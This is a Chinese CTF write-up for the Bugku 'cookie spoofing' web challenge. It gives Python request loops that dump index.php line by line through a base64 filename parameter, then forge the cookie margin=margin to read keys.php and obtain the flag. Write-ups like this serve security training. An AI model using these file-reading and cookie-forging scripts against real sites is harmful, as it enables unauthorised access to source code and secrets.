Bugku----cookies欺骗writeup

解题链接:http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy50eHQ=

一、题目打开是一串毫无意义的字符串,抓包也发现不了任何有价值的信息

 

Bugku----cookies欺骗writeup_第1张图片

二、尝试把参数filename的值解码得到真实文件名为keys.txt。

Bugku----cookies欺骗writeup_第2张图片

三、根据line和filename两个参数猜测网页显示的可能是filename的第line行,于是尝试将文件名改为index.php(记得将index.php转一下base64)

果然显示了源码的第一行:

 

一行一行的看效率太低,且可能有空行导致代码获得不全,我们写脚本获取前一百行,脚本代码如下

import requests
flag=100
for i in range(flag):
    url="http://123.206.87.240:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"
    s=requests.get(url)
    print(s.text)

成功获取到index.php的源码内容

'keys.txt',

'1' =>'index.php',

);

 

if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){

$file_list[2]='keys.php';

}

 

if(in_array($file, $file_list)){

$fa = file($file);

echo $fa[$line];

}

?>

这段代码的核心逻辑是如果cookie里存在margin字段且字段值为margin,就把keys.php加到数组中,如果数组中存在用户请求的文件名,就显示出该文件的第line行

到这里问题就很清晰了,我们只需要构造一个含有 "margin":"margin"的cookie并和请求的keys.php文件名一同发送给服务器就可以得到keys.php的源码。

四、带有cookies的请求获得keys.php的前20行:

import requests
flag=20
cookies={"margin":"margin"}
for i in range(flag):
    url="http://123.206.87.240:8002/web11/index.php?line="+str(i)+"&filename=a2V5cy5waHA="
    s=requests.get(url,cookies=cookies)
    print(s.text)

源码即是flag,100pt到手:

Bugku----cookies欺骗writeup_第3张图片

 

你可能感兴趣的:(CTF)